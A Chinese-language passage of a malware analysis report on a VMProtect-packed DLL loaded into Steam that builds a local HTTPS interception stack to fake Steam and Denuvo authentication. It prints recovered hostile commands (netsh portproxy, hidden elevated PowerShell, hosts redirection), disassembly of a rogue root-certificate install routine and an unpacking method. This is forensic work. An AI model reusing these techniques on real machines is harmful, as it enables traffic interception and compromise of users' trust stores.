结论:该 ~350 KB 代码区由 VMProtect VM dispatcher、handler 调度代码与 MSVC C/C++ runtime helpers 构成。用户业务代码并不位于此区域——真正的 loadLib 函数体(rva 0x2cb80,位于被 strip 的 .text 内)以及反篡改 hook 全部位于 rva 0x56f000–0x7cf000 的加密区。
这正是 VMProtect 的"选择性保护"设计:开发者仅虚拟化 loadLib 调用链上的关键函数,其余代码保持原生编译。AV/沙箱看到的"半部分正常 MSVC 代码"恰构成壳的伪装层——既不触发"完全加壳"启发式告警,又将真正的业务逻辑收纳至加密区内。
9.9 入口与 TLS callback 均跳转至解包区
========== TLS Callback rva 0x565de0 ==========
0x180565de0: call 0x1808249d0 ; 目标在 .text 末段(低熵调度代码区)
========== EntryPoint rva 0x5667f0 ==========
0x1805667f0: call 0x1808213f0 ; 同样跳入调度代码区
stage-2 的运行序列如下:
stage-1 调用 MemoryLoadLibraryEx(buf, size),将 stage-2 手动映射到 Steam 进程地址空间
↓
MemoryModule 内部按 Windows 加载器流程执行:reloc fixup → IAT 解析 → 调用 TLS callback → 调用 DllMain
↓
TLS callback @ rva 0x565de0 执行 → 进入 VMP 引导代码 → 将 raw=0 节解压/解密回内存
↓
EntryPoint @ rva 0x5667f0 执行 → 同样进入 VMP 引导(继续展开)
↓
MemoryLoadLibraryEx 返回,loadLib 此时已被解析至 rva 0x2cb80(原 raw=0 的第一个 .text 内)
↓
stage-1 通过 MemoryGetProcAddress("loadLib") 获取该地址
↓
stage-1 执行 call rax → loadLib 启动 → 业务逻辑开始
即 stage-2 的真实主体在 stage-1 的 MemoryLoadLibraryEx 返回之前已经完全展开到内存。任何试图从静态文件中提取完整 stage-2 行为面的尝试,在该架构下都无法成功。
该流程存在一项隐含的副作用:stage-2 的激活完全不依赖 stage-1 后续对 loadLib 的调用。即便 stage-1 因任何原因未能定位 loadLib 导出而提前 ret,stage-2 的 TLS callback 已在 MemoryLoadLibrary 内部被调度执行——而 stage-2 完全可在 TLS callback 内完成所有初始化工作(注册 hook、监听端口、改写 hosts、安装证书等),将 loadLib 仅作为"占位导出"以通过 stage-1 的退出检查。从攻击者视角,将核心初始化置于 TLS 较置于显式导出更隐蔽——AV 对导出表的静态扫描无法识别此类初始化路径。
9.10 静态分析能力边界图
stage-2 镜像在静态可见性维度上的整体地形如下:
┌──────────────────────────────────────────────────────────────────────┐
│ stage-2 磁盘镜像 2.9 MB │
│ │
│ rva 0x563000..0x56f000 bootstrap 熵 4-6 ✓ 可读 │
│ ├─ PDB 字符串 "F:\入库内核\Steam\x64\Release\hid.pdb" │
│ ├─ MSVC 节名表 (.text$mn, .CRT$X*, .fptable, .rdata$voltmd) │
│ ├─ TLS dir + Load Config dir │
│ └─ rva 0x564250: 6-槽 VMProtect handler dispatch 表 │
│ │
│ rva 0x56f000..0x7cf000 ★加密主体★ 熵 7.9-7.99 ✗ 不可读 │
│ 2.4 MB VMProtect 加密代码区 │
│ loadLib 函数体(rva 0x2cb80)位于此区域(被映射到 strip 掉的 .text)│
│ │
│ rva 0x7cf000..0x826200 清亮 VM 调度 + C runtime 熵 5-6.6 ✓ 可读 │
│ ~350 KB VMProtect runtime + MSVC C/C++ runtime helpers │
│ TLS callback target 在这里 │
│ EntryPoint 跳板目标在这里 │
│ │
│ rva 0x827000..0x827800 小 .data ✓ 可读 │
│ IAT (11 个槽 — 诱饵) │
│ TLS callbacks table │
│ strings: "loadLib", "hid.dll", L"kernel32.dll" │
│ │
│ rva 0x828000..0x828080 .reloc ✓ 可读 (24 条) │
│ rva 0x829000..0x8290F8 .rsrc ✓ 可读 (空 manifest)│
└──────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────┐
│ 被 strip 的(运行时由壳填回): │
│ rva 0x001000..0x328000 .text + .rdata + .data (raw=0) │
│ 包含真正的 loadLib 函数体(rva 0x2cb80) │
│ 包含 stage-2 全部静态数据:原始字符串、原始 IAT、C++ vtable │
│ rva 0x3eb000..0x40d000 .pdata + .fptable + 第二段代码 (raw=0) │
│ rva 0x550000..0x563000 第二段 .data (raw=0) │
└──────────────────────────────────────────────────────────────────────┘
整段 .text 节熵约 7.93——非常接近 8.0 的上限,说明 PE 主体被加密/加壳,所以静态字符串中不会出现 netsh、portproxy、8443、cmd.exe 等行为类符号。
9.11 静态分析可证 / 不可证矩阵
下表按"静态可证"与"静态不可证"两类对本节得到的结论进行分类,可作为后续遇到 VMProtect/Themida 系样本时的取证参考模板:
| 想知道的事 | 静态可证 | 凭据 / 备注 |
|---|---|---|
| 是否为 VMProtect 包装 | ✓ 是 | 节布局 + .fptable + .rdata$voltmd + 24 条 reloc + IAT 全 0 引用 + SizeOfImage > 磁盘 + WS2_32 ord #3 |
| 入口控制流的第一跳目标 | ✓ rva 0x5667f0 → call 0x1808213f0 | §9.9 |
| TLS callback 位置 | ✓ rva 0x565de0 → call 0x1808249d0 | §9.9 |
| 整体壳类型 | ✓ VMProtect 3.x "选择性保护"模式(VM dispatcher 位于外层,关键函数位于加密区) | §9.8 |
| 作者项目名 | ✓ "入库内核" | PDB 路径 |
| TLS callback 是否每次执行 | ✓ 是 | MemoryLoadLibrary 内部按 Windows 加载器流程主动调用 TLS callback,§9.9 |
| 真实的 import 调用位置 | ✗ 全部位于加密区,磁盘 IAT 为诱饵 | §9.5 |
| stage-2 出站 HTTPS 的目标域 | ✗ 字符串位于加密区 | hosts + 根证书 + 内存 dump 已闭环至 *.codefusion.technology / *.antitamper.net(§11) |
| 8443 端口上的协议格式 | ✗ 完整定义位于加密区 | 内存 dump 中可见 CMsgGatewayHook / CMsgCdkActiveResponse 等字段(§10) |
| Steam 内被 hook 的具体函数 | ✗ Hook 安装代码位于加密区 | SymFromAddr 导入 + 内存中 GetDepotKey / GetTicket / ManifestAuth 字段已界定范围(§10) |
| 安装的根证书具体属性 | ✗ CertSetCertificateContextProperty 调用位于加密区 | 注册表中可直接观察 DCS Root CA G2(§11) |
综上:所有涉及"安装内容 / 系统改动 / 通信对端"的系统级行为问题,静态分析均无法直接给出结论,但全部可通过运行时痕迹(hosts、portproxy、注册表证书、Steam 进程 dump 中的字符串)反向闭环。这一性质决定了取证顺序——前述 §2–§6 必须先采集 dump、再检查系统状态、最后回到磁盘文件。若按"先静态后动态"的顺序进行,分析将止步于 VMProtect 的加密区;按"先动态后静态"则磁盘 PE 仅用于印证 dump 中已捕获的事实,每步结论均有运行时证据支撑。下节为这些反向闭环的具体证据。
10. 内存 dump 验证:行为字符串在运行时全部展开
返回 §2 采集的两份 dump 进行关键字检索,可观察到大量在运行时被解密/解包还原的字符串——这印证了 §2 "先抓 dump 再做后续分析" 的取证顺序的必要性:
netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=443
listenaddress=127.0.0.1 connectport=%d connectaddress=127.0.0.1
cmd.exe /c
powershell -WindowStyle Hidden -Command
Start-Process -FilePath ... -Verb RunAs
C:\Windows\System32\drivers\etc\hosts
# Network optimization configuration
ROOT
Digital Certificate Services Root CA
DCS Root CA G2
同区域可扫描到一组 Steam/Steamworks 内部协议字段:
CMsgGatewayHookRequest / CMsgGatewayHookResponse
CMsgCdkActiveResponse
GetDepotKey / GetTicket / GetEncryptTicket
ManifestAuth
force_proxy / use_https
GatewayHook、DepotKey、Ticket、ManifestAuth、CdkActive 等符号均对应 Steam 鉴权流程的关键节点。stage-2 的关注面由此可初步定性为 Steam 鉴权流程的协议级伪造。
11. hosts + 根证书:本地透明 MITM 栈的闭合验证
Get-Content "C:\Windows\System32\drivers\etc\hosts" |
Select-String 'Network optimization|codefusion|antitamper|steam|127.0.0.1'
# Network optimization configuration
127.0.0.1 srv01.codefusion.technology
127.0.0.1 srv02.codefusion.technology
127.0.0.1 srv03.codefusion.technology
127.0.0.1 srv01.antitamper.net
127.0.0.1 srv02.antitamper.net
127.0.0.1 srv03.antitamper.net
codefusion.technology 经公开查询确认归属为 Codefusion / Denuvo 反篡改服务。继续检查根证书库:
Get-ChildItem Cert:\LocalMachine\Root,Cert:\CurrentUser\Root |
Where-Object { $_.Subject -match 'DCS|Digital Certificate Services|Root CA G2' }
Subject: CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Issuer: CN=DCS Root CA G2, O=Digital Certificate Services, C=US
Thumbprint: 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F
有效期: 2025-11-14 ~ 2035-11-12(10 年)
该证书不属于任何公开 CA 体系,为自签 Root 且已被植入系统受信任根存储。
将三类证据组合后:
hosts: Denuvo/Codefusion 域名 → 127.0.0.1
portproxy: 127.0.0.1:443 → 127.0.0.1:8443
监听端: Steam.exe 进程内(stage-2 镜像)占用 8443
根证书: DCS Root CA G2 自签根,可签任意域名
至此本地透明 HTTPS 中间人 / 伪服务器栈的完整链路已闭合:发往上述反篡改域名的 HTTPS 请求被劫持至 Steam 进程内的伪服务端,证书校验由 DCS 根 CA 签发的伪叶证书承接。
12. 动态脱壳后的回头闭环分析
§9 的结论确认:VMProtect 将关键业务逻辑收纳至 0x56f000–0x7cf000 段 2.4 MB 加密区,磁盘静态扫描无法获取任何行为字符串,IAT 为诱饵,所有标准解包尝试失败。然而 stage-1 已将 stage-2 手动映射至 Steam 进程并执行了 TLS callback——只要在受控环境运行一次,该 2.4 MB 加密区必然在内存中展开为明文。基于此事实,可采取如下脱壳路径:在 stage-1 的 call rax(调用 stage-2 loadLib)之前插入死循环断点中断执行,从外部 dump Steam 进程的对应内存区域即可得到完整的脱壳后 stage-2 镜像。
本节的工作目标为闭合 §9.11 表格中所有标记 ✗ 的项目——前述靠 dump 字符串与系统证据反向闭环的事实,在脱壳后的二进制中可被直接读出调用、结构、嵌入资产等具体证据。
12.1 脱壳镜像的采集
实施步骤:对 stage-1(xinput1_4.dll)施加单字节补丁——在 0x180001510: call rax 指令前插入 EB FE(jmp $)死循环(补丁后的 DLL 命名为 xinput1_4_patched_infloop.dll,大小 14848 bytes)。Steam 启动后整个加载链按原路径执行:
Steam → 加载 patched xinput1_4.dll → DllMain → sub_1170
→ 读 localData.vdf → XOR 0xFF 解码
→ MemoryLoadLibraryEx(buf, size)
├─ reloc fixup
├─ IAT 解析(11 个槽,所有真实 API 解析在 TLS 里)
├─ TLS callback @ rva 0x565de0 → VMP 引导跑完,加密区已展开
├─ EntryPoint @ rva 0x5667f0 → 同样进 VMP 引导
└─ 返回 mod
→ MemoryGetProcAddress(mod, "loadLib") → rax = stage-2 内 0x2cb80
→ jmp $ ← 卡在这里
注入线程卡在 jmp $ 死循环上;Steam 进程的其余部分继续运行(DisableThreadLibraryCalls 已抑制再次的 DLL_THREAD 回调)。此时从外部进程附加 dumper,将完整 8 MB 镜像写出磁盘,得到:
re/stage2_unpacked.bin
大小: 8,560,640 bytes (8.16 MB,对应 SizeOfImage 0x82A000)
SHA256: 8911004DF9FA21350E085CBCAEFAA1A18E2E0DADFEDDF2E22E76EC55E4CEFCEC
该镜像为 stage-2 的完整运行时快照——§9.10 图中被 strip 的所有 raw=0 节(含 loadLib 函数体的第一个 .text、原始字符串区、C++ vtable、第二段 .pdata 等)均已被壳还原。
12.2 字符串提取:dump 中全部字符串均出现,且包含大量新增条目
对脱壳镜像执行字符串提取(脚本 re/31_extract_strings.py),输出约 1.5 MB(re/strings_dump.txt)。§9.4 中磁盘静态可见仅 3 句字符串、§10 在 Steam 进程 dump 中可见的行为类字符串——在脱壳镜像中全部出现,并新增此前未观察到的若干批次:
# §10 已观察到的(行为类)
netsh interface portproxy add v4tov4 listenport=443 ...
cmd.exe /c
C:\Windows\System32\drivers\etc\hosts
DCS Root CA G2
Digital Certificate Services Root CA
CMsgGatewayHookRequest / CMsgGatewayHookResponse
GetDepotKey / GetTicket / ManifestAuth
force_proxy / use_https
# §9 / §10 中均未观察到(新增)
srv01-03.codefusion.technology ← C2 域名明文(此前仅在 hosts 中可见,现已存在于二进制内)
srv01-03.antitamper.net
CertOpenStore / CertCloseStore
CertCreateCertificateContext / CertFindCertificateInStore
CertFreeCertificateContext / CertAddCertificateContextToStore
CertSetCertificateContextProperty ← 整套 Crypt32 cert 操作 API 名以字符串形式存在,运行时按名 GetProcAddress
-----BEGIN CERTIFICATE----- ← PEM 标记
-----BEGIN RSA PRIVATE KEY----- ← PEM 私钥标记
\.steam_restart_flag ← 部署完成后用于触发 Steam 重启的标记文件
Cert* API 名以字符串形式出现,证实这些 API 不存在于静态 IAT 中——它们均由 stage-2 在 TLS 引导阶段通过 LoadLibraryExW("crypt32.dll") + 私有实现的 GetProcAddressByName 完成解析。这一观察解释了 §9.3 中静态 IAT 只含 1 个 CertSetCertificateContextProperty 的反常现象——其余 7 个 Cert* API 均为运行时解析,整个证书安装逻辑完全不依赖磁盘 IAT。
12.3 嵌入资产:3 张证书与 1 把匹配的 RSA 私钥
依据 PEM 标记追踪嵌入资产。脚本 re/34_extract_certs.py 在脱壳镜像中按 BEGIN/END 配对块提取,得到下列资产:
| 文件偏移 | 类型 | 内容 |
|---|---|---|
| 0x35cb80 | DH 参数 | TLS 用 DH 群参数 |
| 0x36fae0 | 叶证书 | CN=srv01.codefusion.technology, O=CodeFusion Technology LLC, C=US;由 DCS Root CA G2 签发;2025-11-13 ~ 2035-11-11 |
| 0x37012e | 自签根 CA(副本 1) | CN=DCS Root CA G2, O=Digital Certificate Services, C=US;2025-11-13 ~ 2035-11-11 |
| 0x370610 | RSA 2048 私钥 | PEM 格式,2048 bit |
| 0x370d30 | 自签根 CA(副本 2) | 与副本 1 字节级一致(SHA256 均为 77FD7C44…) |
证书指纹(脱壳取出的 DER):
叶证书 SHA256: 19B7FC43963DD116AC8CA280CA0DCDDD758D414D313F2EEA5D2630B68A40CA79
根 CA SHA256: 77FD7C44B8973F12D145D02BCF91FE03C85F93FA9B72988CE70E8D7F16F35B35
注:§11 在系统注册表中观察到的根证书 Thumbprint 为 SHA1 2EB151DBA0C9F77E90F7D15EAFBAB7EDACEB4E9F,此处为 DER 文件的 SHA256 77FD7C44…,二者为同一证书的不同摘要算法(Thumbprint 即 Windows 使用的 SHA1)。
关键验证:将叶证书的 pubkey MD5 与 PEM 私钥的 pubkey MD5 比对:
叶证书 pubkey md5: 928e386311c6148e727c543ce099c875
PEM 私钥 pubkey md5: 928e386311c6148e727c543ce099c875 ← 完全一致
该 PEM 私钥与叶证书构成密钥对。即样本同时携带"伪 CA 的根证书"与"叶证书及其匹配私钥"——本地伪服务端不需任何在线签发,可直接使用该证书+私钥在 8443 端以 srv01.codefusion.technology 身份与 Steam 完成 TLS 握手;根 CA 被植入系统受信任根后,Steam 看到的证书链合法。整套 MITM 凭据完全离线自包含。
12.4 6 槽 SNI 服务器档案表
通过脚本 re/35_cert_xrefs.py 扫描脱壳镜像内所有指向叶证书 PEM (0x36fae0) 和 RSA 私钥 PEM (0x370610) 的 QWORD 指针,在 0x372260 起的数据区命中 6 条结构相同的条目(stride 0x18),结构推断如下:
struct ServerProfile {
char *pem_cert; // +0x00 -> 0x18036fae0 (leaf cert PEM)
char *pem_key; // +0x08 -> 0x180370610 (RSA private key PEM)
void *slot; // +0x10 (per-slot 上下文)
};
ServerProfile servers[6] = { ... }; // 6 个条目
6 条均指向同一对叶证书+私钥——与 §11 在 hosts 中观察到的 6 个域名(srv01-03.codefusion.technology + srv01-03.antitamper.net)数量一致。即这 6 个 C2 域名在本地伪服务端采用同一对凭据多 SNI 复用架构:客户端无论解析至哪一域名,均由同一叶证书的 TLS 握手承接。
12.5 证书安装的调用链
§8–§9 遗留的未解问题是 CertSetCertificateContextProperty 的实际调用路径未定位。脱壳镜像中该调用链可被完整还原(脚本 re/36_disasm_cert_install.py):
sub_23200(根 CA 安装主体) —— 反汇编结果:
0x2320c: lea rax, [(u16) "ROOT"] ; 目标 store 名(LocalMachine\Root)
0x23269: lea rcx, ["-----BEGIN CERTIFICATE-----"] ; 第一份根 CA PEM 拷贝
0x232dc: call sub_31b870 ; PEM → DER 解码(CryptStringToBinaryA)
0x2349a/0x234d5/0x2351b: 再以第二份根 CA PEM 拷贝重复执行(双保险/重试机制)
0x23583: lea rdx, [(u16) "Digital Certificate Services Root CA"]
0x2358e: call sub_407e0 ; CertFindCertificateInStore 按 CN 查重
sub_29400(总编排函数) —— 按以下顺序调用所有"上线"步骤:
sub_21eb0 → §4 中观察到的 portproxy 安装(cmd.exe /c netsh ...)
sub_23650/23400 → §12.5 的根 CA 安装路径
lea rdx, "DCS Root CA G2" + sub_42430 + sub_23420
→ 对安装好的证书设置 CERT_FRIENDLY_NAME_PROP_ID = "DCS Root CA G2"
lea rax, "\.steam_restart_flag" + sub_41d20
→ 写入标记文件,触发 Steam 重启并应用新配置
至此 §9.11 表格中 安装的根证书具体属性 一项由 ✗ 转为 ✓——该证书被安装至 ROOT store(即 LocalMachine\Root),通过 CertFindCertificateInStore 按 CN 去重以避免重复安装,最后由 CertSetCertificateContextProperty 设置 friendly name 为 DCS Root CA G2。与 §11 在 Cert:\LocalMachine\Root 观察到的注册表记录完全一致。
12.6 作者画像补充:GBK 中文格式串
§8 的 PDB 路径 F:入库内核\Steam\x64\Release\hid.pdb 已揭示作者使用中文。脱壳镜像中可见一条更直接的证据:
file offset 0x3717a0:
hex: c4 bf b1 ea d3 f2 c3 bb 3a 20 00 00 ...
GBK: "目标域名: "
这是一条运行时格式串(推测对应 "目标域名: %s\n" 之类的 printf),表明 stage-2 内部存在 GBK 编码的日志/输出路径——作者本人在调试期间使用的是中文 GBK 而非 UTF-8。结合 PDB 中的"入库内核"字样,可勾勒出一份典型的中国大陆 Windows 开发者技术栈画像(MSVC + GBK locale),将工具链归属定位至中文灰产生态而非英文/俄语黑产生态。
12.7 脱壳后镜像版图
§9.10 静态版图中被 strip 的若干节,在脱壳镜像中可直接观察其内容。下面给出脱壳后的视图:
┌──────────────────────────────────────────────────────────────────────────┐
│ 脱壳后 stage-2 镜像 8.16 MB (re/stage2_unpacked.bin) │
│ │
│ rva 0x001000..0x328000 第一段 .text + .rdata + .data (已脱壳) │
│ ├─ rva 0x21eb0 sub_21eb0 portproxy install (cmd /c netsh) │
│ ├─ rva 0x23200 sub_23200 root CA install (PEM 解码+ store 写入) │
│ ├─ rva 0x29400 sub_29400 总编排:portproxy → cert → restart_flag │
│ ├─ rva 0x2cb80 loadLib 导出入口(从 TLS callback / stage-1 都进) │
│ ├─ rva 0x35cb80 DH params TLS 用 │
│ ├─ rva 0x36fae0 叶证书 PEM CN=srv01.codefusion.technology │
│ ├─ rva 0x370610 RSA 私钥 PEM 与叶证书 pubkey MD5 完全匹配 │
│ ├─ rva 0x37012e/0x370d30 自签根 CA PEM × 2 副本 │
│ ├─ rva 0x371450 "Digital Certificate Services Root CA" (u16) │
│ ├─ rva 0x3714a0 "DCS Root CA G2" (asc) │
│ ├─ rva 0x3717a0 "目标域名: " (GBK) │
│ ├─ rva 0x372260 6 槽 SNI 服务器档案表(指向同一对叶证书+私钥) │
│ └─ rva 0x54f647-0x54f6fb Cert* API 名字符串表(运行时 GetProcAddress)│
│ │
│ rva 0x328000..0x3eb000 第二段 .rdata + .data (已脱壳) │
│ ├─ Cert/Steamworks/protobuf 字符串区 │
│ ├─ CMsgGatewayHookRequest / CMsgCdkActiveResponse 等 protobuf 字段名 │
│ └─ MIGHAoGB... base64(叶证书公钥)等 │
│ │
│ rva 0x563000..0x826200 原 .text/调度区(与 §9.10 一致,未变) │
│ rva 0x827000..0x8290F8 .data/.reloc/.rsrc │
└──────────────────────────────────────────────────────────────────────────┘
12.8 静态分析能力矩阵更新
将 §9.11 中的"能/不能"表格基于脱壳镜像重写,原表格中大部分 ✗ 项目可被升级为 ✓:
| 想知道的事 | 旧(§9.11) | 新(脱壳后) | 凭据 |
|---|---|---|---|
| 真实的 import 调用位置 | ✗ | ✓ TLS callback 内按名 GetProcAddress 解析 | §12.2 字符串表中的 Cert* / Loader* 等 API 名 |
| stage-2 出站 HTTPS 的目标域 | ✗ | ✓ 6 个 C2 域名明文 | srv01-03.codefusion.technology + srv01-03.antitamper.net 全部以字符串形式存在 |
| 8443 端口上的协议格式 | ✗ | ✓ 完整 steam_server.proto schema | §12.11 完整字段清单 |
| Steam 内被 hook 的具体函数 | ✗ | ✓ GetDepotKey / GetTicket / GetEncryptTicket / ManifestAuth | §12.11 hook 目标即 protobuf message 名 |
| 安装的根证书具体属性 | ✗ | ✓ ROOT store + CERT_FRIENDLY_NAME_PROP_ID = "DCS Root CA G2" | §12.5 反汇编 |
| 本地伪服务端 TLS 凭据来源 | — | ✓ 自带叶证书 + 匹配私钥,6 SNI 复用 | §12.3、§12.4 |
| 作者使用语言 | 推断中文 | ✓ 确证 GBK | §12.6 "目标域名:" 格式串 |
核心结论:§11 在系统层面观察到的所有外部状态(hosts、证书、portproxy、Cert:\LocalMachine\Root 内的根证书)在脱壳的二进制中均可定位至对应的安装代码、字符串与资产。整条链由"系统状态指证"升级为"二进制层面闭环"。该工具不依赖任何在线签发或运行时下载,所有 MITM 装备均内置于样本中——自安装时刻起,其行为面即是确定、自洽、可离线分析的。
12.9 loadLib 的真实职能:线程派生器而非业务入口
脱壳前的工作假设是 loadLib(导出 RVA 0x2cb80)即为恶意逻辑入口。脱壳后反汇编显示,该函数体仅 ~120 字节:
sub_2cb80 (loadLib):
sub rsp, 0x58
mov ecx, 1
call sub_2d4e10 ; rax = 创建一个 C++ 对象(thread 参数)
lea rcx, [rsp + 0x38] ;
mov r9, rax ; arg4 = 对象
mov [rsp + 0x28], rcx ; arg6 = &thread_id
lea r8, [rip + 0x87ee] ; arg3 = sub_35390 (函数指针)
xor ecx, ecx ; arg1 = NULL
mov [rsp + 0x20], 0 ; arg5 = 0 (creation flags)
xor edx, edx ; arg2 = 0 (stack size)
call sub_2ec20c ; ← _beginthreadex
test rax, rax ; 失败就 int3 panic
je ...
add rsp, 0x58
ret ; ★ 立即返回 stage-1
sub_2ec20c 反汇编后符合 MSVC CRT 的 _beginthreadex 标准实现——含 errno=EINVAL 错误路径、invalid_parameter_handler,末端通过 call qword ptr [rip + 0x3c24e] 调用运行时解析的 KERNEL32.CreateThread,结构完全符合 MSVC 参考实现。
线程入口 sub_35390 仅 22 条指令——为 MSVC CRT 的 thread trampoline(先完成两次 CRT TLS 初始化,再调用 sub_2d4e08(param, 1) 进入用户线程函数)。sub_2d4e08 → jmp sub_23b0 → jmp sub_2e6720 → jmp sub_2f4df0,经多层 /Gy 函数级链接 thunk 之后到达真正的业务代码:
sub_2f4df0 (真正的 worker 入口):
test rcx, rcx
je ret ; param == NULL 直接退
mov r8, rcx
xor edx, edx
mov rcx, qword ptr [rip+0xee94a] ; rcx = 全局对象 ptr (运行时填好)
call qword ptr [rip+0x33314] ; ★ 走运行时填好的函数指针表
末端的 call [rip+0x33314] 为 C++ 虚函数派发——脱壳镜像中该指针槽已被运行时填入系统 DLL 地址空间的指针(0x7ffc8...),全局对象 ptr 槽指向堆上的对象(0x000001ee14910000)。
由此可断定 loadLib 的全部行为为:派生一个 worker 线程并立即返回 stage-1。stage-1 在 call rax 返回后即认定任务完成,正常退出 DllMain;worker 线程则在 Steam 进程后台执行所有后续业务逻辑,主调用栈上不显示任何异常迹象。
12.10 关键函数无静态调用者的成因:C++ 虚函数派发表的运行时填充
§12.5 反汇编了证书安装编排函数 sub_293d0(直接调用 portproxy install、root CA install、写入 .steam_restart_flag 等)。然而对脱壳镜像扫描所有 E8 disp32 / FF 15 / qword 指针引用后,sub_293d0 拥有 0 个静态调用者。sub_2cb80(loadLib 导出)同样无静态调用者——但 loadLib 作为外部导出可以解释;而 sub_293d0 完全是内部函数,无任何机器码直接指向它。
该现象并非脱壳过程的遗漏——VMProtect runtime 与 C++ 全局对象初始化在运行时将所有关键函数指针填入 .data/.rdata:
- TLS callback
sub_565de0在 DLL 加载时首先执行,通过动态解析(LoadLibraryExW+ 私有的GetProcAddressByName)将所有 Windows API 填入.rdata的函数指针槽; - 同时将 C++ 全局对象(如
0x1ee14910000这类堆指针)的虚表完成填充; - 用户线程
sub_2f4df0运行时,从这些已填充的槽中读取(this, method_ptr)对,直接call。
由此可知,脱壳镜像中 sub_293d0 无 caller 的现象属有意为之的反静态分析手段——VMProtect 不仅加密代码区,还将 C++ 虚函数派发的方法表迁移至由壳在运行时填回的槽。从静态层面回答"谁调用了 sub_293d0",必须先在动态调试中 step through TLS callback,将所有运行时填好的函数指针槽 dump 出来,再做交叉引用。
该现象提示一项可复用的逆向方法论:关键函数 0 静态 caller 时,不应怀疑函数本身或脱壳质量,而应转向 dump 函数指针表——.rdata 内由壳在运行时填充的 qword 槽即"从加密区通向脱壳后明文区"的入口。
补充印证:直接反汇编 TLS callback sub_565de0 本体(其首条指令即 call sub_8249d0 跳入 .text 末段的低熵调度区),输出如下:
pushfq ; 1. 保存 EFLAGS
add rbp, 0x6f ; 2. 对 rbp 做无意义算术
popfq ; 3. 还原 EFLAGS
lea rbp, [rbp - 0x6f] ; 4. 净效应:rbp 不变
pushfq
push rdi
mov rdi, qword ptr [rsp + 8]
lea rdi, [rdi + 0x19]
xchg qword ptr [rsp + 8], rdi ; 5. 一串栈位置交换混淆
mov qword ptr [rsp + 8], rdi
mov rdi, qword ptr [rsp]
lea rsp, [rsp + 8]
call $+5 ; 6. push next-IP 到栈顶
add qword ptr [rsp], -0x5aa ; 7. 修改栈上 IP
... 远处某个 ret 跳到 IP+(-0x5aa) ...
该序列是 VMProtect mutation pattern 的典型样式——每条语义操作被封装为"flag-save / dummy-math / flag-restore + 栈位置交换 + 计算跳转"链,指令膨胀 5–10 倍,且无任何可识别的 API 名或字符串引用。TLS callback 的实际语义(按名解析 258 个 Windows API、填充 0x328000 函数指针表、构造 C++ 全局对象、安装 vtable)均被压在该 mutation 层下——这正是上一段所指"TLS callback 是从加密区通向明文区的入口"的执行体本身。完整解出该层需要 IDA + VMP mutation 解算器或动态 step through,超出本次静态分析范围。
12.11 关键发现:完整的 steam_server.proto 伪后端协议
§10 在 Steam dump 中观察到的 CMsgGatewayHookRequest、CMsgCdkActiveResponse、GetDepotKey、GetTicket、ManifestAuth 等符号并非孤立字符串。脱壳镜像中这些符号全部位于一份 protobuf FileDescriptorProto blob 中:
.proto 文件名(嵌在 protobuf descriptor 头) 文件偏移 性质
steam_api.proto 0x349ed2 Steam 公开协议(合法存在)
steam_cloud.proto 0x34ed72 Steam Cloud 协议(合法存在)
steam_server.proto 0x34f802 ★ 恶意软件自己的 wire 协议 ★
第三项 steam_server.proto 即该工具自定义的伪 Steam 后端协议。在脱壳镜像中以序列化 FileDescriptorProto 形式整段嵌入(这解释了 §12.2 中 CMsgGatewayHookRequest 等单个 message 名扫描不到任何 LEA xref 的原因——这些名字位于 descriptor blob 的内嵌字节中,并非独立 C 字符串)。完整的 message 清单:
// 应用层加密层
message CMsgEncrypt {
bytes key_decrypt = ...;
bytes iv_decrypt = ...;
}
message CMsgEncryptedHeader {
uint32 protobuf_id = ...; // 内层 message 类型 ID
bool crypto_compressed = ...;
CMsgEncrypt crypto = ...;
bytes encrypted_body = ...; // 内层 message 加密后的字节
}
// 业务消息
message CMsgGetAppListRequest { fixed64 steam_id; int64 timestamp; }
message CMsgGetAppListResponse {
EProtoResult result;
message AppListResponse {
uint32 appid;
repeated DepotList depots;
}
message DepotList {
uint32 depot_id;
bool denuvo; // ← 这款游戏是否有 Denuvo
bool patch, update, appinfo, online;
}
}
message CMsgGetDepotKeyRequest { uint32 appid; uint32 depot_id; int64 timestamp; }
message CMsgGetDepotKeyResponse { EProtoResult result; uint32 depot_id; bytes depot_key; }
// ★ Steam 内部 GetDepotKey 的拦截点
message CMsgGetTicketRequest { uint32 appid; bool online; int64 timestamp; }
message CMsgGetTicketResponse { EProtoResult result; bytes auth_session_ticket; bytes ticket; }
// ★ GetTicket 的拦截点
message CMsgManifestAuthRequest { uint32 app_id; uint32 depot_id; uint64 manifest_id;
string app_branch; bytes branch_password_hash; int64 timestamp; }
message CMsgManifestAuthResponse { EProtoResult result; }
// ★ Manifest 鉴权拦截
message CMsgGetEncryptTicketRequest {
fixed64 steam_id; uint32 appid; bytes machine_id;
message HttpHeader { string name; bytes value; }
repeated HttpHeader headers;
int64 timestamp;
}
message CMsgGetEncryptTicketResponse{ EProtoResult result; uint32 appid; bytes ticket;
bytes encrypted_result; uint64 replace_id; }
// ★ GetEncryptTicket 拦截
message CMsgCdkActiveRequest { fixed64 steam_id; int64 timestamp; }
message CMsgCdkActiveResponse { EProtoResult result; uint32 appid; uint32 status; }
// ★ 用户输入 CDK 时走的"激活"路径
message CMsgGatewayHookRequest { uint32 steam_client_size; uint32 hook_type;
int64 timestamp; uint32 kernel_size; }
message CMsgGatewayHookResponse { int32 code; ... }
// 心跳/版本协商:告知 C2
// - Steam 客户端版本/大小
// - hook 内核版本/大小
将上述协议串联后,伪 Steam 后端的实际数据流可被完整描绘:
┌─ Steam.exe 内部调用 GetDepotKey / GetTicket / ManifestAuth / GetEncryptTicket
│ (正常情况下这些调用通过 Steamworks 后端连接 Valve 服务器获取结果)
│
├─ 被 stage-2 安装的 hook 拦截
│ ↓ hook 通过 dbghelp.SymFromAddr 跨 Steam 版本按符号定位(§9.3 已埋下伏笔)
│ ↓ 不依赖偏移硬编码,Steam 升级后仍能保持有效
│
├─ 拦截后构造 protobuf:CMsgGetDepotKeyRequest / CMsgGetTicketRequest / ...
│ ↓ 由 CMsgEncryptedHeader { protobuf_id, crypto, encrypted_body } 包装一层应用层 AES
│ ↓ 即使外层 TLS 被 MITM,内层 protobuf 仍为密文(应用层加密)
│
├─ 经 winhttp(IAT 槽 0x8275e0)发往 srv01.codefusion.technology:443
│ ↓ hosts 将该域名指向 127.0.0.1
│ ↓ portproxy 将 127.0.0.1:443 转发至 127.0.0.1:8443
│
